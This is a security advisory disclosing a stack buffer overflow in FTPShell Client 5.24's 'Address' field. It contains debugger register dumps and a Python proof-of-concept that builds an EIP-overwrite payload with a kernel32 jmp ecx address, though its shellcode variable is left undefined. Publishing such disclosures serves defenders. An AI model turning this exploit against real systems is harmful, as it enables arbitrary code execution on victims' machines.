FTPShell Client v5.24 Buffer Overflow

From: apparitionsec@gmail.com
To: bugtraq@securityfocus.com
Subject: FTPShell Client v5.24 Buffer Overflow

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/FTPSHELL-v5.24-BUFFER-OVERFLOW.txt


FTPShell Client version 5.24

FTPShell client is a windows file transfer program that enables users to reliably transfer files,
upload to websites, and download updates from the internet.

Vulnerability Type:
Buffer Overflow

CVE Reference:

Vulnerability Details:
ftpshell.exe client has a buffer overflow entry point in the 'Address' input field used to connect to an FTP server.
Allowing local arbitrary code execution by overwriting several registers on the stack and controlling program execution flow.
EIP register will be used to jump to our malicious shellcode which will be patiently waiting in ECX register.

exploited registers dump...

EAX 00000021
ECX 0012E5B0
EDX 76F670B4 ntdll.KiFastSystemCallRet
EBX 76244FC4 kernel32.76244FC4
ESP 0012E658 ASCII "calc.exe"   <--------- BAM!
EBP 7621E5FD kernel32.WinExec
ESI 001D2930
EDI 76244FEC kernel32.76244FEC
EIP 015FB945
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00200246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST C5E1  Cond 1 1 0 1  Err 1 1 1 0 0 0 0 1  (Unordered)
FCW 1372  Prec NEAR,64  Mask    1 1 0 0 1 0

test stack dump....

(3b8.fa0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for ftpshell.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ftpshell.exe - 
eax=41414141 ebx=017ebc70 ecx=017ebc70 edx=0012ebc8 esi=0012ebc8 edi=017a9498
eip=41414141 esp=0012e928 ebp=0012ea70 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
41414141 ??              ???

Exploit code(s):

import struct

#FTPShell Client version 5.24 - www.ftpshell.com
#Buffer Overflow Exploit
#by hyp3rlinx
#run to generate payload, then copy and inject
#into the 'Address' field on the client and BOOM!

#shellcode to pop calc.exe Windows 7 SP1

#payload="A"*2475+"R"*4+"\xcc"*100  #<---- control EIP register

#find appropriate assembly instruction to call our payload JMP or CALL ECX.
#!mona jmp -r ecx -m kernel32.dll

eip=struct.pack('<L', 0x761C1FDC)    #jmp ecx kernel32.dll
payload="A"*2475+eip+sc              #<----- direct EIP overwrite no NOPs no nothing... BOOOOOM!!!


Disclosure Timeline:
Vendor Notification:  NR
December 29, 2015  : Public Disclosure

Exploitation Technique:

Severity Level:


Request Method(s):              [+]  Local Injection

Vulnerable Product:             [+]  FTPShell Client version 5.24

Vulnerable Parameter(s):        [+] 'Address'


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by hyp3rlinx

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